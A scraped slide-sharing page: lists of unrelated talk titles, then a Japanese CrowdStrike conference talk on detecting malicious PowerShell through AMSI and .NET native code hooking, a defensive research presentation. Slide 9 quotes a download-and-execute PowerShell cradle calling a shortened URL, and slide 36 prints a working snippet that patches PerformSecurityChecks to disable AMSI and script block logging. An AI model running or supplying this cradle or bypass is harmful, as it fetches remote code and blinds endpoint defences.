サンプルで学ぶCassandraアプリケーションの作り方サンプルで学ぶCassandraアプリケーションの作り方
サンプルで学ぶCassandraアプリケーションの作り方
 
イノベート・ハブ九州 Bluemix勉強会(第2回)
イノベート・ハブ九州 Bluemix勉強会(第2回)イノベート・ハブ九州 Bluemix勉強会(第2回)
イノベート・ハブ九州 Bluemix勉強会(第2回)
 
How to Make Own Framework built on OWIN
How to Make Own Framework built on OWINHow to Make Own Framework built on OWIN
How to Make Own Framework built on OWIN
 
次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)
 
Microsoft open tech night 2020 feb18
Microsoft open tech night 2020 feb18Microsoft open tech night 2020 feb18
Microsoft open tech night 2020 feb18
 
本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NET
本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NET本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NET
本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NET
 
C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)
C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)
C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)
 
Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...
 
Gaming cicd-pipeline gaming-technight-2
Gaming cicd-pipeline gaming-technight-2Gaming cicd-pipeline gaming-technight-2
Gaming cicd-pipeline gaming-technight-2
 
Hbstudy41 auto scaling
Hbstudy41 auto scalingHbstudy41 auto scaling
Hbstudy41 auto scaling
 
Android Studioの魅力
Android Studioの魅力Android Studioの魅力
Android Studioの魅力
 
Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...
 
RoR周辺知識15項目
RoR周辺知識15項目RoR周辺知識15項目
RoR周辺知識15項目
 
Introduction to New CloudWatch Agent
Introduction to New CloudWatch AgentIntroduction to New CloudWatch Agent
Introduction to New CloudWatch Agent
 
IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...
IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...
IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...
 
Aws tools for power shellをつかいこなそう
Aws tools for power shellをつかいこなそうAws tools for power shellをつかいこなそう
Aws tools for power shellをつかいこなそう
 
cndjp: 「Microclimate」by capsmalt
cndjp: 「Microclimate」by capsmaltcndjp: 「Microclimate」by capsmalt
cndjp: 「Microclimate」by capsmalt
 
機械学習 (AI/ML) 勉強会 #1 基本編
機械学習 (AI/ML) 勉強会 #1 基本編機械学習 (AI/ML) 勉強会 #1 基本編
機械学習 (AI/ML) 勉強会 #1 基本編
 
[2001/01/23] VSLive! / Visual C++.NET 新機能概要
[2001/01/23] VSLive! / Visual C++.NET 新機能概要[2001/01/23] VSLive! / Visual C++.NET 新機能概要
[2001/01/23] VSLive! / Visual C++.NET 新機能概要
 
Embulk 20150411
Embulk 20150411Embulk 20150411
Embulk 20150411
 

More from CODE BLUE

[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo PupilloCODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...CODE BLUE
 
[cb22] What I learned from the direct confrontation with the adversaries who ...
[cb22] What I learned from the direct confrontation with the adversaries who ...[cb22] What I learned from the direct confrontation with the adversaries who ...
[cb22] What I learned from the direct confrontation with the adversaries who ...CODE BLUE
 

More from CODE BLUE (20)

[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 
[cb22] What I learned from the direct confrontation with the adversaries who ...
[cb22] What I learned from the direct confrontation with the adversaries who ...[cb22] What I learned from the direct confrontation with the adversaries who ...
[cb22] What I learned from the direct confrontation with the adversaries who ...
 

インサイドShell:.NETハッキング技術を応用したPowerShell可視性の向上 by 丹田 賢

  • 1. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. インサイドSHELL: .NETハッキング技術を応用した POWERSHELL可視性の向上 丹田 賢 ENGINEER, CROWDSTRIKE
  • 2. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 講師について  Engineer at CrowdStrike  Twitter @standa_t  低レイヤー・ソフトウェア技術者  リバースエンジニア&マルウェア解析者  セキュリティソフトウェア開発者  HyperPlatform & SimpleSVM (バイパーバイザー)の作者  カンファレンス講演:REcon, BlueHat, Nullcon  スライド&サンプルコード:: github.com/tandasat/DotNetHooking 2
  • 3. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.3 個人的な動機  ダウンローダー -> ペイロード  EXE -> EXE upatre
  • 4. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.4 個人的な動機  ダウンローダー -> ペイロード  スクリプト -> EXE upatre js downloader
  • 5. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.5 個人的な動機  Offensive, post exploitation ツールの存在
  • 6. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.6 講演の目的 どうやってPowerShellによる攻撃から守るか
  • 7. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 1 PowerShell攻撃への対応の難しさとAMSI 2 .NET ネイティブコードフックの紹介 3 PowerShellに対する可視性の向上 4 まとめと提言 7
  • 9. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 悪意あるPOWERSHELL対アンチウイルス(AV)  PowerShellは攻撃のなかで頻繁に利用されている  AVソフトウェアでの検知が難しい  プロセス(powershell.exe)はデジタル署名された正当なファイル  スクリプトファイルは簡単に変更できる (例、スペース, コメント, 変数名)  スクリプトファイルは使用されないかもしれない  PowerShellエンジンは任意のプロセスに読み込まれ、そこで動作しうる (例, PSInject)  実際にはさらに難しい: 9 >powershell -file “C:UsersstandaAppDataLocalTempns13094.ps1" >powershell -command “iex (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI’)” >powershell -enc SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0A…
  • 10. ANTIMALWARE SCAN INTERFACE (AMSI)  Windows 10 からの新機能  AMSIプロバイダーとしてソフトウェアを登録(正式にはMicorosftとのNDAが必要)  スクリプトエンジンはスクリプトやコマンドを実行前にAMSIプロバイダーに転送  AMSIプロバイダーはそれらをスキャンし実行をブロックできる 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.10 System.Management. Automation.dll Jscript.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider AsmiScanString IAntimalwareProvider::Scan
  • 11. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 銀の弾丸  スクリプトファイルの内容がわかる  Invoke-Expressionされた文字列の内容がわかる  デコードされた後の-EncodedCommand文字列がわかる  PowerShellエンジンが使用される場合、常に有効 11
  • 12. …とも限らない(1/2)  AMSIは PowerShell v5 + Windows 10のみで有効  PowerShell v2 による攻撃からは守れない(ダウングレードアタック)  古いWindowsバージョンは守れない  一部の難読化されたPowerShellは難読化されたまま  単純な正規表現ではバイパスされうる
  • 13. …とも限らない(2/2)  AMSIはPowerShellから無効化されうる(管理者権限不要)  AMSIプロバイダーは、最初の攻撃を検出しない限り完全にバイパスされる  AMSIプロバイダーが正しいデータを受け取れない問題(現時点で未修整) System.Management. Automation.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider AsmiScanString IAntimalwareProvider::Scan COM Hijacking Reflection-based attacks
  • 14. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. おさらい  PowerShellベースの攻撃は一般的、しかし検出が困難  AMSIは非常に有用、しかし制限がある  なにかできないか? 14
  • 15. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.15
  • 17. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. .NET ネイティブコードフック  生成されたネイティブコードを書き換えることによって、マネージドプログラム の動作を実行時に変更する技術  プログラムの動作の監視や変更を可能とする  Topher Timzen と Ryan Allen により初めて紹介された  他の類似技術と比較しての利点はAmanda Rousseau により詳細に評価された 17
  • 18. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. マネージドプログラム実行の基礎 (1/2)  C#のようなCommon Language Infrastructure言語で書かれたプログラムは Microsoft Intermediate Language (MSIL)に コンパイルされる  本講演ではそのようなプログラムを “マネージドプログラム”という  MSILは2種類の方法によりネイティブコー ドにコンパイルされる:  実行時にJITコンパイラによりメモリ上に  実行以前にNGENによりファイルとして  いずれの場合もネイティブコードが実行さ れる 18 C# Source File(s) C# Compiler MSIL (Executable File) CLR (JIT Compiler) Ngen Native Code (Memory) Native Code (Executable File) Compile JIT Compile AOT Compile
  • 19. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. マネージドプログラム実行の基礎 (2/2)  マネージドプログラムはAPIを提供する.NET Framework上で実行される 19 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLLDLL DLL DLL Managed Program Unmanaged Program
  • 20. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. マネージドプログラム実行の基礎 (2/2)  マネージドプログラムはAPIを提供する.NET Framework上で実行される 20 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLLDLL DLL DLL Managed Program Unmanaged Program Hook Hook Hook Hook Hook
  • 21. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. フックの概略  アンマネージドコード(C++など)のフックの典型的な流れ: 1. フックを行うコードを対象プロセス上で実行する 2. 対象となる関数のアドレスを特定する 3. アドレス上のネイティブコードを上書きする  .NETネイティブコードフックも同様、ただし.NETアセンブリとメソッドを対象と する 21
  • 22. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. どうやってアドレスを特定するか  リフレクションにより、マネージドプログラムは.NETアセンブリやメソッド、 フィールドなどの情報を実行時に取得できる  ソースコードへの実行時アクセスと考えてよい  RuntimeMethodHandle.GetFunctionPointer メソッドは、生成されたネイティ ブコードのアドレスを返す(すでにコンパイルされてる場合)  エクスポート関数以外にも使用できるGetProcAddress APIと考えてよい  対象関数がまだ実行されていない場合、それはまだコンパイルされておらず、ネ イティブコードは存在しないかもしれない  RuntimeHelpers.PrepareMethod メソッドでJITコンパイルできる 22
  • 23. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. コード例(C#) // Get an AmsiUtils class from an assembly targetClass = targetAssembly.GetType("System.Management.Automation.AmsiUtils"); // Get a ScanContent method of the class targetMethod = targetClass.GetMethod("ScanContent", ...); // Perform JIT compilation if not done yet RuntimeHelpers.PrepareMethod(targetMethod.MethodHandle); // Get an address of compiled native code targetAddr = targetMethod.MethodHandle.GetFunctionPointer(); // Overwrite contents of the address to install hook // ... 23
  • 24. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. どうやってフックするコードを実行するか  フックをインストールするためには、対象プロセス内でマネージドコードを実行 する必要がある  アンマネージドコードからHosting APIを使用する  本講演ではそのようなコードをBootstrapコードという  Hosting APIにより、アンマネージドコードはマネージドコードと対話し.NETアセ ンブリを読み込ませることができる  Bootstrapコードは様々な方法でインジェクト可能 (例, AppInit_Dlls, ドライバー) 24
  • 25. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. アンマネージドコードの使用 1. 対象プロセスにbootstrapコードをイン ジェクト 2. フック用.NETアセンブリをBootstrap コードからインジェクト 3. フック用.NETアセンブリは対象メソッ ドを発見、JITコンパイルを行い、生成 されたネイティブコードを上書き 25 Managed Unmanaged Kernel User Bootstrap Hooking Assembly Target Assembly Driver (*) 1) Inject bootstrap code 2) Load managed assembly 3) Force to JIT compile, modify compiled native code Target Process Address Space *) Optionally, use a driver
  • 26. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. USING APPDOMAINMANAGERの使用 1. 独自のAppDomainManagerを実装する フック用.NETアセンブリを事前に登録 2. 最初にAppDomainが作られるとき、 CLRが登録されたAppDomainManager (フック用.NETアセンブリ)を読み込 み実行 3. フック用.NETアセンブリは対象メソッ ドを発見、JITコンパイルを行い、生成 されたネイティブコードを上書き  利点: 最小のコード  欠点: 環境変数等による事前設定が必要 26 Managed Unmanaged Kernel User Hooking Assembly Target Assembly 3) Force to JIT compile, modify compiled native code Target Process Address Space .NET (CLR) 2) Load managed assembly
  • 27. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.27
  • 29. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. POWERSHELLはマネージドプログラム  PowerShell言語はC#で書かれたSystem.Management.Automation.dllに実装されて いる  本講演ではこのDLLをSMA.dllという  Powershell.exeはSMA.dllのクライアントに過ぎない  SAM.dllの動作をフックして 監視できる 29 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLL Managed Program Hook Hook Hook
  • 30. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. AMSIの拡張など  AMSIと同様の機能を Windows 8.1以前に実装  AMSIと同様の機能を PowerShell以前に実装  AMSIバイパスを無効化  文字列の難読化を解除  コマンドレットをフック 30
  • 31. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. AMSIエミュレーション:古いWINDOWS + PS V5  SMA.dllのメソッドをフックすることでAMSIをエミュレーション可能  SMA.dll (v5)ではAMSIプロバイダーの呼び出しは AmsiUtils.ScanContent メ ソッドで実装されている  このメソッドを独自のスキャンロジックで上書きする internal static AmsiNativeMethods.AMSI_RESULT ScanContent (string content, string sourceMetadata) { if (amsiInitFailed) { return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } //... hr = AmsiNativeMethods.AmsiScanString(...); 31
  • 32. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. AMSIエミュレーション:古いPOWERSHELL  困難:  AmsiUtilsクラスは存在しない、オープンソース実装も存在しない  リバースエンジニアリングを通して適切なメソッドを見つける必要がある  Good news ;-)  無料の.NETデコンパイラが存在、それらは非常に読みやすいコードを生成する  dotPeek, ILSpy, JustDecompile  デバッガーはソースがあるかのように動作する  WinDbg + SOS and SOSEX  多くの実装はオープンソース版のそれに近い 32
  • 33. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. AMSIバイパスの無効化  既知のAMSIバイパスは、ScanContent メソッドからのAmsiScanString 関数呼び 出しか、 適切なAMSIプロバイダーDLLの利用を妨害する  amsiContext or amsiInitFailedの上書き  COMハイジャック  未修整の問題は、AMSIプロバイダーが正しいデータを受け取ることを妨害する  どちらの影響も受けない(ScanContentもAMSIプロバイダーも使用しないため) 33 System.Management. Automation.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider Hooked Code AsmiScanString IAntimalwareProvider::Scan
  • 34. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. さらなる可視性: コマンドレットの実行  難読化が解除された状態のパラメーターにアクセス可能  コマンドレットが実行されるときProcessRecord メソッドが呼び出される  例, InvokeExpressionCommand.ProcessRecord = Invoke-Expression  “this” ポインターが全パラメーターを保持  PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ’)  this->_command = “Write-Host this is a bad command!” 34
  • 35. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. DEMO: AMSIエミュレーション等 35
  • 36. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 困難と制限  リバースエンジニアリングと実装依存のコードが必要  低レベルのメソッドをフックした場合、出力が多すぎる可能性  攻撃者は同様のテクニックによりフックをバイパス可能 36 # # Overwrites PerformSecurityChecks as { return } # disabling AMSI and the most of suspicious script block logging. # > $code = [byte[]](0xc3); > $addr = [Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetMethod('PerformSecurityChecks', 'NonPublic,Instance', $null, [Type]::EmptyTypes, $null).MethodHandle.GetFunctionPointer(); > $definition = '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr Address, UInt32 Size, UInt32 NewProtect, out UInt32 OldProtect);‘; > $kernel32 = Add-Type -MemberDefinition $definition -Name ‘Kernel32’ -Namespace ‘Win32’ -PassThru; > $oldProtect = [UInt32]0; > $kernel32::VirtualProtect($addr, $code.Length, 0x40, [ref]$oldProtect); > [Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length);
  • 38. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. まとめ  AMSIはそのままでもスクリプトの実行に対する可視性を高めるのに有用、しかし 制限もある  .NETネイティブコードフックによりマネージドプログラムの動作を監視・変更で きる  AMSIと同様の機能を古いバージョンのWindowsやPowerShell上で実装できる  必要に応じて、さらに拡張した機能を実装できる 38
